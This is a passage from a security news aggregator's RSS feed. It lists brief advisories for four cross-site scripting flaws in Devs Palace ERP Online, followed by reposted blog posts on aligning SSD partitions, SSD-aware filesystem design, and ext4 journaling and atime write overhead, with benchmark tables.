<description><![CDATA[A vulnerability, which was classified as problematic, was found in Devs Palace ERP Online up to 4.0.0. The affected element is an unknown function of the file /inventory/purchase_return_save. Executing a manipulation can lead to cross site scripting.

The identification of this vulnerability is C...]]></description>
<link>https://tsecurity.de/de/3502917/sicherheitsluecken/cve-2026-8218-devs-palace-erp-online-up-to-400-purchasereturnsave-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3502917/sicherheitsluecken/cve-2026-8218-devs-palace-erp-online-up-to-400-purchasereturnsave-cross-site-scripting/</guid>
<pubDate>Sat, 09 May 2026 13:07:25 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, was found in <a href="https://vuldb.com/product/devs_palace:erp_online">Devs Palace ERP Online up to 4.0.0</a>. The affected element is an unknown function of the file <em>/inventory/purchase_return_save</em>. Executing a manipulation can lead to cross site scripting.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-8218">CVE-2026-8218</a>. The attack may be launched remotely. Furthermore, there is an exploit available.

The vendor was contacted early about this disclosure but did not respond in any way.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-8219 | Devs Palace ERP Online up to 4.0.0 /inventory/supplier-save cross site scripting]]></title>
<description><![CDATA[A vulnerability has been found in Devs Palace ERP Online up to 4.0.0 and classified as problematic. The impacted element is an unknown function of the file /inventory/supplier-save. The manipulation leads to cross site scripting.

This vulnerability is referenced as CVE-2026-8219. Remote exploita...]]></description>
<link>https://tsecurity.de/de/3502916/sicherheitsluecken/cve-2026-8219-devs-palace-erp-online-up-to-400-inventorysupplier-save-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3502916/sicherheitsluecken/cve-2026-8219-devs-palace-erp-online-up-to-400-inventorysupplier-save-cross-site-scripting/</guid>
<pubDate>Sat, 09 May 2026 13:07:23 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/devs_palace:erp_online">Devs Palace ERP Online up to 4.0.0</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. The impacted element is an unknown function of the file <em>/inventory/supplier-save</em>. The manipulation leads to cross site scripting.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2026-8219">CVE-2026-8219</a>. Remote exploitation of the attack is possible. Furthermore, an exploit is available.

The vendor was contacted early about this disclosure but did not respond in any way.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-8220 | Devs Palace ERP Online up to 4.0.0 /inventory/customer-save cross site scripting]]></title>
<description><![CDATA[A vulnerability was found in Devs Palace ERP Online up to 4.0.0 and classified as problematic. This affects an unknown function of the file /inventory/customer-save. The manipulation results in cross site scripting.

This vulnerability is identified as CVE-2026-8220. The attack can be executed re...]]></description>
<link>https://tsecurity.de/de/3502915/sicherheitsluecken/cve-2026-8220-devs-palace-erp-online-up-to-400-inventorycustomer-save-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3502915/sicherheitsluecken/cve-2026-8220-devs-palace-erp-online-up-to-400-inventorycustomer-save-cross-site-scripting/</guid>
<pubDate>Sat, 09 May 2026 13:07:21 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/devs_palace:erp_online">Devs Palace ERP Online up to 4.0.0</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects an unknown function of the file <em>/inventory/customer-save</em>. The manipulation results in cross site scripting.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-8220">CVE-2026-8220</a>. The attack can be executed remotely. Additionally, an exploit exists.

The vendor was contacted early about this disclosure but did not respond in any way.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-8221 | Devs Palace ERP Online up to 4.0.0 /inventory/item-save cross site scripting]]></title>
<description><![CDATA[A vulnerability was found in Devs Palace ERP Online up to 4.0.0. It has been classified as problematic. This impacts an unknown function of the file /inventory/item-save. This manipulation causes cross site scripting.

This vulnerability is tracked as CVE-2026-8221. The attack is possible to be c...]]></description>
<link>https://tsecurity.de/de/3502914/sicherheitsluecken/cve-2026-8221-devs-palace-erp-online-up-to-400-inventoryitem-save-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3502914/sicherheitsluecken/cve-2026-8221-devs-palace-erp-online-up-to-400-inventoryitem-save-cross-site-scripting/</guid>
<pubDate>Sat, 09 May 2026 13:07:20 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/devs_palace:erp_online">Devs Palace ERP Online up to 4.0.0</a>. It has been classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This impacts an unknown function of the file <em>/inventory/item-save</em>. This manipulation causes cross site scripting.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2026-8221">CVE-2026-8221</a>. The attack is possible to be carried out remotely. Moreover, an exploit is present.

The vendor was contacted early about this disclosure but did not respond in any way.]]></content:encoded>
</item>
<item>
<title><![CDATA[Aligning filesystems to an SSD’s erase block size]]></title>
<description><![CDATA[I recently purchased a new toy, an Intel X25-M SSD, and when I was setting it up initially, I decided I wanted to make sure the file system was aligned on an erase block boundary.  This is a generally considered to be a Very Good Thing to do for most SSD’s available today, although there’s some q...]]></description>
<link>https://tsecurity.de/de/3500971/unix-server/aligning-filesystems-to-an-ssds-erase-block-size/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500971/unix-server/aligning-filesystems-to-an-ssds-erase-block-size/</guid>
<pubDate>Fri, 08 May 2026 23:00:44 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>I recently purchased a new toy, an Intel X25-M SSD, and when I was setting it up initially, I decided I wanted to make sure the file system was aligned on an erase block boundary.  This is a generally considered to be a Very Good Thing to do for most SSD’s available today, although there’s some question about how important this really is for Intel SSD’s — more on that in a moment.</p>
<p>It turns out this is much more difficult than you might first think — most of Linux’s storage stack is not set up well to worry about alignment of partitions and logical volumes.  This is surprising, because it’s useful for many things other than just SSD’s.  This kind of alignment is important if you are using any kind of hardware or software RAID, for example, especially RAID 5, because if writes are done on stripe boundaries, it can avoid a read-modify-write overhead.  In addition, the hard drive industry is planning on moving to 4096 byte sectors instead of the way-too-small 512 byte sectors at some point in the future.   Linux’s default partition geometry of 255 heads and 63 sectors/track means that there are 16065 (512 byte) sectors per cylinder.  The initial round of 4k sector disks will emulate 512 byte disks, but if the partitions are not 4k aligned, then the disk will end up doing a read/modify/write on two internal 4k sectors for each singleton 4k file system write, and that would be unfortunate.</p>
<p>Vista has already started working around this problem, since it uses a default partitioning geometry of 240 heads and 63 sectors/track.   This results in a cylinder boundary which is divisible by 8, and so the partitions (with the exception of the first, which is still misaligned unless you play some additional tricks) are 4k aligned.    So this is one place where Vista is ahead of Linux….   unfortunately the default 255 heads and 63 sectors is hard coded in many places in the kernel, in the SCSI stack, and in various partitioning programs; so fixing this will require changes in many places.</p>
<p>However, with SSD’s (remember SSD’s?  This is a blog post about SSD’s…) you need to align partitions on at least 128k boundaries for maximum efficiency.   The best way to do this that I’ve found is to use 224 (32*7) heads and 56 (8*7) sectors/track.  This results in 12544 (or 256*49) sectors/cylinder, so that each cylinder is 49*128k.  You can do this by doing starting fdisk with the following options when first partitioning the SSD:</p>
<p># fdisk -H 224 -S 56 /dev/sdb</p>
<p>The first partition will only be aligned on a 4k boundary, since in order to be compatible with MS-DOS, the first partition starts on track 1 instead of track 0, but I didn’t worry too much about that since I tend to use the first partition for /boot, which tends not to get modified much.   You can go into expert mode with fdisk and force the partition to begin on an 128k alignment, but many Linux partition tools will complain about potential compatibility problems (which are obsolete warnings, since the systems that would have booting systems with these issues haven’t been made in about ten years), but I didn’t needed to do that, so I didn’t worry about it.</p>
<p>So I created a 1 gigabyte /boot partition as /dev/sdb1, and allocated the rest of the SSD for use by LVM as /dev/sdb2. And that’s where I ran into my next problem. LVM likes to allocate 192k for its header information, and 192k is not a multiple of 128k. So if you are creating file systems as logical volumes, and you want those volume to be properly aligned you have to tell LVM that it should reserve slightly more space for its meta-data, so that the physical extents that it allocates for its logical volumes are properly aligned. Unfortunately, the way this is done is slightly baroque:</p>
<p># pvcreate –metadatasize 250k /dev/sdb2</p>
<p>Physical volume “/dev/sdb2” successfully created</p>
<p>Why 250k and not 256k? I can’t tell you — sometimes the LVM tools aren’t terribly intuitive. However, you can test to make sure that physical extents start at the proper offset by using:</p>
<p># pvs /dev/sdb2 -o+pe_start</p>
<p>PV         VG   Fmt  Attr PSize  PFree  1st PE</p>
<p>/dev/sdb2       lvm2 —   73.52G 73.52G 256.00K</p>
<p>If you use a metadata size of 256k, the first PE will be at 320k instead of 256k. There really ought to be an –pe-align option to pvcreate, which would be far more user-friendly, but, we have to work with the tools that we have. Maybe in the next version of the LVM support tools….</p>
<p>Once you do this, we’re almost done. The last thing to do is to create the file system. As it turns out, if you are using ext4, there is a way to tell the file system that it should try to align files so they match up with the RAID stripe width. (These techniques can be used for RAID disks as well). If your SSD has an 128k erase block size, and you are creating the file system with the default 4k block size, you just have to specify a strip width when you create the file system, like so:</p>
<p># mke2fs -t ext4 -E stripe-width=32,resize=500G /dev/ssd/root</p>
<p>(The resize=500G limits the number of blocks reserved for resizing this file system so that the guaranteed number size that the file system can be grown via online resize is 500G. The default is 1000 times the initial file system size, which is often far too big to be reasonable. Realistically, the file system I am creating is going to be used for a desktop device, and I don’t foresee needing to resize it beyond 500G, so this saves about a 50 megabytes or so. Not a huge deal, but “waste not, want not”, as the saying goes.)</p>
<p>With e2fsprogs 1.41.4, the journal will be 128k aligned, as will the start of the file system, and with the stripe-width specified, the ext4 allocator will try to align block writes to the stripe width where that makes sense. So this is as good as it gets without kernel changes to make the block and inode allocators more SSD aware, something which I hope to have a chance to look at.</p>
<!-- raw HTML omitted -->
<p>All of this being said, it’s time to revisit this question — is all of this needed for a “smart”, “better by design” next-generation SSD such as Intel’s? Aligning your file system on an erase block boundary is critical on first generation SSD’s, but the Intel X25-M is supposed to have smarter algorithms that allow it to reduce the effect of write-amplification. The details are a little bit vague, but presumably there is a mapping table which maps sectors (at some internal sector size — we don’t know for sure whether it’s 512 bytes or some larger size) to individual erase blocks. If the file system sends a series of 4k writes for file system blocks 10, 12, 13, 32, 33, 34, 35, 64, 65, 66, 67, 96, 97, 98, 99, followed by a barrier operation, a traditional SSD might do read/modify/write on four 128k erase blocks — one covering the blocks 0-31, another for the blocks 32-63, and so on. However, the Intel SSD will simply write a single 128k block that indicates where the latest versions of blocks 10, 12, 13, 32, 33, 34, 35, 64, 65, 66, 67, 96, 97, 98, and 99 can be found.</p>
<p>This technique tends to work very well.  However, over time, the table will get terribly fragmented, and depending on whether the internal block sector size is 512 or 4k (or something in between), there could be a situation where all but one or two of the internal sectors on the disks have been mapped away to other erase blocks, leading to fragmentation of the erase blocks. This is not just a theoretical problem; there are reports from the field that this happens relatively easy. For example, see Allyn Malventano’s  <!-- raw HTML omitted -->Long-term performance analysis of Intel Mainstream SSDs<!-- raw HTML omitted --> and <!-- raw HTML omitted -->Marc Prieur’s report from BeHardware.com<!-- raw HTML omitted --> which includes an official response from Intel regarding this phenomenon.  Laurent Gilson <!-- raw HTML omitted -->posted on the Linux-Thinkpad mailing list<!-- raw HTML omitted --> that when he tried using the X25-M to store commit journals for a database, that after writing 170% of the capacity of an Intel SSD, the small writes caused the write performance to go through the floor.   More troubling, Allyn Malventano indicated that if the drive is abused for too long with a mixture of small and large writes, it can get into a state where the performance degredation is permanent, and even a series of large writes apparently does not restore the drive’s function — only an ATA SECURITY ERASE command to completely reset the mapping table seems to help.</p>
<p>So, what can be done to prevent this?   Allyn’s review speculates that aligning writes to erase write boundaries can help — I’m not 100% sure this is true, but without detailed knowledge of what is going on under the covers in Intel’s SSD, we won’t know for sure.  It certainly can’t hurt, though, and there is a distinct possibility that the internal sector size is larger than 512 bytes, which means the default partitioning scheme of 255 heads/63 sectors is probably not a good idea.   (Even Vista has moved to a 240/63 scheme, which gives you 8k alignment of partitions; I prefer 224/56 partitioning, since the days when BIOS’s used C/H/S I/O are long gone.)</p>
<p>The Ext3 and Ext4 file system tend to defer meta-data writes by pinning them until a transaction commit; this definitely helps, and ext4 allows you to configure an erase block boundary, which should also be helpful.  Enabling laptop mode will discourage writing to the disk except in large blocks, which probably helps significantly as well.   And avoiding fsync() in applications will also be helpful, since a cache flush operation will force the SSD to write to an erase block even if it isn’t completely filled.   Beyond that, clearly some experimentation will be needed.  My current thinking is to use a standard file system aging workload, and then performing an I/O benchmark to see if there has been any performance degradation.  I can then vary various file system tuning parameters and algorithms, confirm whether or not a heavy fsync workload makes the performance worse.</p>
<p>In the long term, hopefully Intel will release a firmware update which adds support for ATA TRIM/DISCARD commands, which will allow the file system to inform the SSD that various blocks have been deleted and no longer need to be preserved by the SSD.   I suspect this will be a big help, if the SSD knows that certain sectors no longer need to be preserved, it can avoid copying them when trying to defragment the SSD.   Given how expensive the X25-M SSD’s are, I hope that there will be a firmware update to support this, and that Intel won’t leave its early adopters high and dry by only offering this functionality in newer models of the SSD.   If they were to do that, it would leave many of these early adopters, especially your humble writer (who paid for his SSD out of his own pocket), to be quite grumpy indeed.  Hopefully, though, it won’t come to that.</p>
<p><strong>Update: I’ve since penned a follow-up post “</strong><!-- raw HTML omitted -->Should Filesystems Be Optimized for SSD’s?” <!-- raw HTML omitted --></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Should Filesystems Be Optimized for SSD’s?]]></title>
<description><![CDATA[In one of the comments to my last blog entry, an anonymous commenter writes:

You seem to be taking a different perspective to linus on the “adapting to the the disk technology” front (Linus seems to against having to have the OS know about disk boundaries and having to do levelling itself)

That...]]></description>
<link>https://tsecurity.de/de/3500970/unix-server/should-filesystems-be-optimized-for-ssds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500970/unix-server/should-filesystems-be-optimized-for-ssds/</guid>
<pubDate>Fri, 08 May 2026 23:00:42 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In one of the comments to my <!-- raw HTML omitted -->last blog entry<!-- raw HTML omitted -->, an anonymous commenter writes:</p>
<blockquote>
<p>You seem to be taking a different perspective to linus on the “adapting to the the disk technology” front (Linus seems to against having to have the <!-- raw HTML omitted -->OS know about disk boundaries and having to do levelling itself<!-- raw HTML omitted -->)</p>
</blockquote>
<p>That’s an interesting question, and I figure it’s worth its own top-level entry, as opposed to a reply in the comment stream.   One of the interesting design questions in any OS or Computer Architecture is where the abstraction boundaries should be drawn and which side of an abstraction boundary should various operations be pushed.   Linus’s arguments is that there a flash controller can do a better job of wear leveling, including detecting how “worn” a particular flash cell might be (for example, perhaps by looking at the charge levels at an analog level and knowing when the last time the cell was programmed), and so it doesn’t make sense to try to do wear leveling in a flash file system.   Some responsibilities of flash management, such as coalescing newly written blocks into erase blocks to avoid write amplification can be done either on the SSD or in the file system — for example, by using a log-structured file system, or some other copy-on-write file system, instead of a rewrite-in-place style file system, you can essentially solve the write amplification problem.   In some cases, it’s necessary let additional information leak across the abstraction — for example, the ATA TRIM command is a way for the file system to let the disk know that certain blocks no longer need to be used.   If too much information needs to be pushed across the abstraction, one way or another, then maybe we need to rethink whether the abstraction barrier is in the right place.</p>
<p>In addition, if the abstraction has been around for a long time, changing it also has costs, which has to be taken into account.   The 512 byte sector LBA abstraction has been around long time, and therefore dislodging it is difficult and costly.   For example, the same argument which says that because the underlying hardware details are changing between different generations of SSD is all of these details should be hidden in hardware, was also used to justify something that has been a complete commercial failure for years if not decades: Object Based Disks.</p>
<p>One of the arguments of OBD’s was that the hard drive has the best knowledge of how and where to store an contiguous stream of bytes, and so perhaps filesystems should not be trying to decide where on disk an inode should be stored, but instead tell the hard drive, “I have this object, which is 134 kilobytes long; please store it somewhere on the disk”.   At least in theory the HDD or SSD could handle all of the details of knowing the best place to store the object on the spinning magnetic media or flash media, taking into account how worn the flash is and automatically move the object around in the case of an SSD, and in the case of the HDD, the drive could know about (real) cylinder and track boundaries, and store the object in the most efficient way possible, since the drive has intimate knowledge about the low-level details of how data is stored on the disk.</p>
<p>This theory makes a huge amount of sense; but there’s only one problem.   Object Based Disks have been proposed in academia and advanced R&amp;D shops of companies like Seagate et.al. have been proposing them for over a decade, with absolutely nothing to show for it.   Why?   There have been two reasons proposed.  One is that OBD vendors were too greedy, and tried to charge too much money for OBD’s.    Another explanation is that the interface abstraction for OBD’s was too different, and so there wasn’t enough software or file systems or OS’s that could take advantage of OBD’s.</p>
<p>Both explanations undoubtedly contributed to the commercial failure of OBD’s, but the question is which is the bigger reason.   And the reason why it is particularly important here is because at least as far as Intel’s SSD strategy is concerned, its advantage is that (modulo implementation shortcomings such as the reported internal LBA remapping table fragmentation problem and the lack of ATA TRIM support) filesystems don’t need to change (much) in order to take advantage of the Intel SSD and get at least decent performance.</p>
<p>However, if the price delta is a stronger reason for its failure, then the X25-M may be in trouble.   Currently the 80GB Intel X25-M has a street price of $400, so it costs roughly $5 per gigabyte.   “Dumb” MLC SATA SSD’s are available for roughly half the cost/gigabyte (64 GB for $164).   So what does the market look like 12-18 months from now?  If “dumb” SSD’s are still available at 50% of the cost of “smart” SSD’s, it would probably be worth it to make a copy-on-write style filesystem that attempts to do the wear leveling and write amplification reduction in software.   Sure, it’s probably more efficient to do it in hardware, but a 2x price differential might cause people will settle for a cheaper solution even if isn’t the absolutely best technical choice.   On the hand, if prices drop significantly, and/or “dumb” SSD’s completely disappear from the market, then time spent now optimizing for “dumb” SSD’s will be completely wasted.</p>
<p>So for Linus to make the proclamation that it’s completely stupid to optimize for “dumb” SSD’s seems to be a bit premature.   Market externalities — for example, does Intel have patents that will prevent competing “smart” SSD’s from entering the market and thus forcing price drops? — could radically change the picture.  It’s not just a pure technological choice, which is what makes projections and prognostications difficult.</p>
<p>As another example, I don’t know whether or not Intel will issue a firmware update that adds ATA TRIM support to the X25-M, or how long it will take before such SSD’s become available.   Until ATA TRIM support becomes available, it will be advantageous to add support in ext4 for a block allocator option that aggressively reuses blocks above all else, and avoids using blocks that have never been allocated or used before, even if it causes more in-file system fragmentation and deeper extent allocation trees.   The reason for this is at the moment, once a block is used by the file system, at least today, the X25-M has <strong>absolutely no idea</strong> whether we still care about the contents of that block, or whether the block has since been released when the file was deleted.   However, if 20% of the SSD’s blocks have never been used, the X25-M can use 20% of the flash for better garbage collection and defragmentation algorithms.   And if Intel never releases a firmware update to add ATA TRIM support, then I will be out $400 out of my own pocket for an SSD that lacks this capability, and so adding a block allocator which works around limitations of the X25-M probably makes sense.   If it turns out that it takes two years before disks that have ATA TRIM support show up, then it will definitely make sense to add such an optimization. (Hard drive vendors have been historically S-L-O-W to finish standardizing new features and then letting such features enter the market place, so I’m not necessarily holding my breath; after all, the Linux block device layer and and file systems have been ready to send ATA TRIM support for about six months; what’s taking the ATA committees and SSD vendors so long? <!-- raw HTML omitted --></p>
<p>On the other hand, if Intel releases ATA TRIM support next month, then it might not be worth my effort to add such a mount option to ext4.   Or maybe Sandisk will make an ATA TRIM capable SSD available soon, and which is otherwise competitive with Intel, and I get a free sample, but it turns out another optimization on Sandisk SSD’s will give me an extra 10% performance gain under some workloads.   Is it worth it in that case?   Hard to tell, unless I know whether such a tweak addresses an optimization problem which is fundamental, and whether or not such a tweak will either be unnecessary, or perhaps actively unhelpful in the next generation.    As long as SSD manufacturers force us treat these devices as black boxes, there may be a certain amount of cargo cult science which may be forced upon us file system designers — or I guess I should say, in order to be more academically respectable, “we will be forced to rely more on empirical measurements leading to educated engineering estimations about what the SSD is doing inside the black box”. Heh.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SSD’s, Journaling, and noatime/relatime]]></title>
<description><![CDATA[On occasion, you will see the advice that the ext3 file system is not suitable for Solid State Disks (SSD’s) due to the extra writes caused by journaling — and so Linux users using SSD’s should use ext2 instead. However, is this folk wisdom actually true? This weekend, I decided to measure exactl...]]></description>
<link>https://tsecurity.de/de/3500965/unix-server/ssds-journaling-and-noatimerelatime/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500965/unix-server/ssds-journaling-and-noatimerelatime/</guid>
<pubDate>Fri, 08 May 2026 23:00:31 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>On occasion, you will see the advice that the ext3 file system is not suitable for Solid State Disks (SSD’s) due to the extra writes caused by journaling — and so Linux users using SSD’s should use ext2 instead. However, is this folk wisdom actually true? This weekend, I decided to measure exactly what the write overhead of journaling actually is in actual practice.</p>
<p>For this experiment I used ext4, since I recently added a feature to track the amount of writes to the file system over its lifetime (to better gauge the wear and tear on an SSD). Ext4 also has the advantage that (starting in 2.6.29), it can support operations with and without a journal, allowing me to do a controlled experiment where I could manipulate only that one variable. The test workload I chose was a simple one:</p>
<ul>
<li>Clone a git repository containing a linux source tree</li>
<li>Compile the linux source tree using <!-- raw HTML omitted -->make -j2<!-- raw HTML omitted --></li>
<li>Remove the object files by running <!-- raw HTML omitted -->make clean<!-- raw HTML omitted --></li>
</ul>
<p>For the first test, I ran the test using no special mount options, and the only difference being the presence or absence of the has_journal feature. (That is, the first file system was created using <!-- raw HTML omitted -->mke2fs -t ext4 /dev/closure/testext4<!-- raw HTML omitted -->, while the second file system was created using <!-- raw HTML omitted -->mke2fs -t ext4 -O ^has_journal /dev/closure/testext4<!-- raw HTML omitted -->.)</p>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<pre><code>  &lt;td align="center"&gt;
    with journal
  &lt;/td&gt;
  
  &lt;td align="center"&gt;
    w/o journal
  &lt;/td&gt;
  
  &lt;td align="center"&gt;
    percent change
  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
  &lt;td&gt;
    git clone
  &lt;/td&gt;
  
  &lt;td align="right"&gt;
    367.7
  &lt;/td&gt;
  
  &lt;td align="right"&gt;
    353.0
  &lt;/td&gt;
  
  &lt;td align="center"&gt;
    4.00%
  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
  &lt;td&gt;
    make
  &lt;/td&gt;
  
  &lt;td align="right"&gt;
    231.1
  &lt;/td&gt;
  
  &lt;td align="right"&gt;
    203.4
  &lt;/td&gt;
  
  &lt;td align="center"&gt;
    12.0%
  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
  &lt;td&gt;
    make clean
  &lt;/td&gt;
  
  &lt;td align="right"&gt;
    14.6
  &lt;/td&gt;
  
  &lt;td align="right"&gt;
    7.7
  &lt;/td&gt;
  
  &lt;td align="center"&gt;
    47.3%
  &lt;/td&gt;
&lt;/tr&gt;
</code></pre>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<pre><code>  &lt;table border="1" cellspacing="1" cellpadding="2"&gt;
    &lt;caption&gt;Amount of data written (in megabytes) on an ext4 filesystem mounted with noatime&lt;/caption&gt; &lt;colgroup align="left"&gt; &lt;/colgroup&gt; &lt;colgroup align="right"&gt; &lt;/colgroup&gt; &lt;colgroup align="right"&gt; &lt;/colgroup&gt; &lt;colgroup align="right"&gt;&lt;/colgroup&gt; &lt;tr&gt;
      &lt;td align="center"&gt;
        Operation
      &lt;/td&gt;
      
      &lt;td align="center"&gt;
        with journal
      &lt;/td&gt;
      
      &lt;td align="center"&gt;
        w/o journal
      &lt;/td&gt;
      
      &lt;td align="center"&gt;
        percent change
      &lt;/td&gt;
    &lt;/tr&gt;
    
    &lt;tr&gt;
      &lt;td&gt;
        git clone
      &lt;/td&gt;
      
      &lt;td align="right"&gt;
        367.0
      &lt;/td&gt;
      
      &lt;td align="right"&gt;
        353.0
      &lt;/td&gt;
      
      &lt;td align="center"&gt;
        3.81%
      &lt;/td&gt;
    &lt;/tr&gt;
    
    &lt;tr&gt;
      &lt;td&gt;
        make
      &lt;/td&gt;
      
      &lt;td align="right"&gt;
        207.6
      &lt;/td&gt;
      
      &lt;td align="right"&gt;
        199.4
      &lt;/td&gt;
      
      &lt;td align="center"&gt;
        3.95%
      &lt;/td&gt;
    &lt;/tr&gt;
    
    &lt;tr&gt;
      &lt;td&gt;
        make clean
      &lt;/td&gt;
      
      &lt;td align="right"&gt;
        6.45
      &lt;/td&gt;
      
      &lt;td align="right"&gt;
        3.73
      &lt;/td&gt;
      
      &lt;td align="center"&gt;
        42.17%
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  
  &lt;p&gt;
    &lt;/center&gt;
  &lt;/p&gt;
  
  &lt;p&gt;
    &amp;nbsp;
  &lt;/p&gt;
  
  &lt;p&gt;
    This reduces the extra cost of the journal in the &lt;tt&gt;git clone&lt;/tt&gt; and &lt;tt&gt;make&lt;/tt&gt; steps to be just under 4%. What this shows is that most of the extra meta-data cost without the noatime mount option was caused by update to the last update time for kernel source files and directories.
  &lt;/p&gt;
  
  &lt;h2&gt;
    The relatime mount option
  &lt;/h2&gt;
  
  &lt;p&gt;
    There is a newer alternative to the noatime mount option, &lt;b&gt;relatime&lt;/b&gt;. The relatime mount option updates the last access time of a file only if the last modified or last inode changed time is newer than the last accessed time. This allows programs to be able to determine whether a file has been read size it was last modified. The usual (actually, only) example that is given of such an application is the mutt mail-reader, which uses the last accessed time to determine if new mail has been delivered to Unix mail spool files. Unfortunately, relatime is not free. As you can see below, it has roughly double the overhead of noatime (but roughly half the overhead of using the standard Posix atime semantics):
  &lt;/p&gt;
  
  &lt;p&gt;
    &lt;center&gt;
      &lt;/p&gt; 
      
      &lt;table border="1" cellspacing="1" cellpadding="2"&gt;
        &lt;caption&gt;Amount of data written (in megabytes) on an ext4 filesystem mounted with relatime&lt;/caption&gt; &lt;colgroup align="left"&gt; &lt;/colgroup&gt; &lt;colgroup align="right"&gt; &lt;/colgroup&gt; &lt;colgroup align="right"&gt; &lt;/colgroup&gt; &lt;colgroup align="right"&gt;&lt;/colgroup&gt; &lt;tr&gt;
          &lt;td align="center"&gt;
            Operation
          &lt;/td&gt;
          
          &lt;td align="center"&gt;
            with journal
          &lt;/td&gt;
          
          &lt;td align="center"&gt;
            w/o journal
          &lt;/td&gt;
          
          &lt;td align="center"&gt;
            percent change
          &lt;/td&gt;
        &lt;/tr&gt;
        
        &lt;tr&gt;
          &lt;td&gt;
            git clone
          &lt;/td&gt;
          
          &lt;td align="right"&gt;
            366.6
          &lt;/td&gt;
          
          &lt;td align="right"&gt;
            353.0
          &lt;/td&gt;
          
          &lt;td align="center"&gt;
            3.71%
          &lt;/td&gt;
        &lt;/tr&gt;
        
        &lt;tr&gt;
          &lt;td&gt;
            make
          &lt;/td&gt;
          
          &lt;td align="right"&gt;
            216.8
          &lt;/td&gt;
          
          &lt;td align="right"&gt;
            203.7
          &lt;/td&gt;
          
          &lt;td align="center"&gt;
            6.04%
          &lt;/td&gt;
        &lt;/tr&gt;
        
        &lt;tr&gt;
          &lt;td&gt;
            make clean
          &lt;/td&gt;
          
          &lt;td align="right"&gt;
            13.34
          &lt;/td&gt;
          
          &lt;td align="right"&gt;
            6.97
          &lt;/td&gt;
          
          &lt;td align="center"&gt;
            45.75%
          &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/table&gt;
      
      &lt;p&gt;
        &lt;/center&gt;
      &lt;/p&gt;
      
      &lt;p&gt;
        &amp;nbsp;
      &lt;/p&gt;
      
      &lt;p&gt;
        Personally, I don&amp;#8217;t think relatime is worth it. There are other ways of working around the issue with mutt &amp;#8212; for example, you can use Maildir-style mailboxes, or you can use mutt&amp;#8217;s check_mbox_size option. If the goal is to reduce unnecessary disk writes, I would mount my file systems using noatime, and use other workarounds as necessary. Alternatively, you can use &lt;tt&gt;chattr +A&lt;/tt&gt; to set the noatime flag on all files and directories where you don&amp;#8217;t want noatime semantics, and then clear the flag for the Unix mbox files where you care about the atime updates. Since the noatime flag is inherited by default, you can get this behaviour by setting running &lt;tt&gt;chattr +A /mntpt&lt;/tt&gt; right after the filesystem is first created and mounted; all files and directories created in that file system will have the noatime file inherited.
      &lt;/p&gt;
      
      &lt;h2&gt;
        Comparing ext3 and ext2 filesystems
      &lt;/h2&gt;
      
      &lt;p&gt;
        &lt;center&gt;
          &lt;/p&gt; 
          
          &lt;table border="1" cellspacing="1" cellpadding="2"&gt;
            &lt;caption&gt;Amount of data written (in megabytes) on an ext3 and ext2 filesystem&lt;/caption&gt; &lt;colgroup align="left"&gt; &lt;/colgroup&gt; &lt;colgroup align="right"&gt; &lt;/colgroup&gt; &lt;colgroup align="right"&gt; &lt;/colgroup&gt; &lt;colgroup align="right"&gt;&lt;/colgroup&gt; &lt;tr&gt;
              &lt;td align="center"&gt;
                Operation
              &lt;/td&gt;
              
              &lt;td align="center"&gt;
                ext3
              &lt;/td&gt;
              
              &lt;td align="center"&gt;
                ext2
              &lt;/td&gt;
              
              &lt;td align="center"&gt;
                percent change
              &lt;/td&gt;
            &lt;/tr&gt;
            
            &lt;tr&gt;
              &lt;td&gt;
                git clone
              &lt;/td&gt;
              
              &lt;td align="right"&gt;
                374.6
              &lt;/td&gt;
              
              &lt;td align="right"&gt;
                357.2
              &lt;/td&gt;
              
              &lt;td align="center"&gt;
                4.64%
              &lt;/td&gt;
